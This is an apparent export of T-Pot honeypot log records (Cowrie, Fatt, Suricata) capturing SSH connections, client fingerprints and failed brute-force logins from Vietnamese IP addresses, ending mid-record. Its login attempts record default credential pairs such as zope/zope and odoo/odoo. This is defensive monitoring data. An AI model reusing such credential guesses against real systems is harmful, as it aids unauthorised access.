21169	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:42.890643+03	2021-09-20 14:15:03.313614+03	{"_id": "AQbjAnwBvYTbRNuEAwII", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36564, "timestamp": "2021-09-20T11:06:42.890643", "@timestamp": "2021-09-20T11:06:42.890Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21170	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:44.846066+03	2021-09-20 14:15:03.315613+03	{"_id": "JwbjAnwBvYTbRNuEBgLx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:48102 (192.168.176.2:22) [session: 96c319c4c305]", "session": "96c319c4c305", "@version": "1", "protocol": "ssh", "src_port": 48102, "dest_port": 22, "timestamp": "2021-09-20T11:06:44.846066Z", "@timestamp": "2021-09-20T11:06:44.846Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21171	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:44.174374+03	2021-09-20 14:15:03.316612+03	{"_id": "IwbjAnwBvYTbRNuEBgLu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [zope/zope] failed", "session": "b7e753ab030f", "@version": "1", "password": "zope", "username": "zope", "timestamp": "2021-09-20T11:06:44.174374Z", "@timestamp": "2021-09-20T11:06:44.174Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21172	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:44.850807+03	2021-09-20 14:15:03.318613+03	{"_id": "FwbjAnwBvYTbRNuEBgLu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48102, "timestamp": "2021-09-20T11:06:44.850807", "@timestamp": "2021-09-20T11:06:44.850Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21179	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:45.102936+03	2021-09-20 14:15:03.326612+03	{"_id": "QgbjAnwBvYTbRNuEBgL3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c32c6a88cee8", "@version": "1", "duration": 2.697903871536255, "timestamp": "2021-09-20T11:06:45.102936Z", "@timestamp": "2021-09-20T11:06:45.102Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21173	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:44.566748+03	2021-09-20 14:15:03.319613+03	{"_id": "JQbjAnwBvYTbRNuEBgLu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ef4f33bd8365", "@version": "1", "timestamp": "2021-09-20T11:06:44.566748Z", "@timestamp": "2021-09-20T11:06:44.566Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21174	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:44.790679+03	2021-09-20 14:15:03.320612+03	{"_id": "QAbjAnwBvYTbRNuEBgL3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "214fca9416e8", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:44.790679Z", "@timestamp": "2021-09-20T11:06:44.790Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21175	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:44.792968+03	2021-09-20 14:15:03.322612+03	{"_id": "MAbjAnwBvYTbRNuEBgLx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57186, "timestamp": "2021-09-20T11:06:44.792968", "@timestamp": "2021-09-20T11:06:44.792Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21176	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:44.247315+03	2021-09-20 14:15:03.323613+03	{"_id": "MQbjAnwBvYTbRNuEBgLx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ec2de691834c", "@version": "1", "duration": 2.7222137451171875, "timestamp": "2021-09-20T11:06:44.247315Z", "@timestamp": "2021-09-20T11:06:44.247Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21177	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:44.379422+03	2021-09-20 14:15:03.324614+03	{"_id": "MgbjAnwBvYTbRNuEBgLx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "34fdedcfd043", "@version": "1", "duration": 3.14496111869812, "timestamp": "2021-09-20T11:06:44.379422Z", "@timestamp": "2021-09-20T11:06:44.379Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21180	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:44.982391+03	2021-09-20 14:15:03.328613+03	{"_id": "NQbjAnwBvYTbRNuEBgLx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "6872d04b1153", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:44.982391Z", "@timestamp": "2021-09-20T11:06:44.982Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21181	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:44.905377+03	2021-09-20 14:15:03.329614+03	{"_id": "RgbjAnwBvYTbRNuECQJ2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 736444809497947, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38994, "dest_port": 22, "timestamp": "2021-09-20T11:06:44.905377Z", "@timestamp": "2021-09-20T11:06:44.905Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21182	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:45.312982+03	2021-09-20 14:15:03.330613+03	{"_id": "SQbjAnwBvYTbRNuECgLV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "078ee39c115f", "@version": "1", "duration": 2.7005324363708496, "timestamp": "2021-09-20T11:06:45.312982Z", "@timestamp": "2021-09-20T11:06:45.312Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21183	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:45.474967+03	2021-09-20 14:15:03.331614+03	{"_id": "UQbjAnwBvYTbRNuECgLV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:54336 (192.168.176.2:22) [session: 66af4621e8ae]", "session": "66af4621e8ae", "@version": "1", "protocol": "ssh", "src_port": 54336, "dest_port": 22, "timestamp": "2021-09-20T11:06:45.474967Z", "@timestamp": "2021-09-20T11:06:45.474Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21184	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:45.782892+03	2021-09-20 14:15:03.332614+03	{"_id": "TwbjAnwBvYTbRNuECgLV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [odoo/odoo] failed", "session": "f92dc203e6b3", "@version": "1", "password": "odoo", "username": "odoo", "timestamp": "2021-09-20T11:06:45.782892Z", "@timestamp": "2021-09-20T11:06:45.782Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21185	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:45.066137+03	2021-09-20 14:15:03.333614+03	{"_id": "WgbjAnwBvYTbRNuECgLW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": 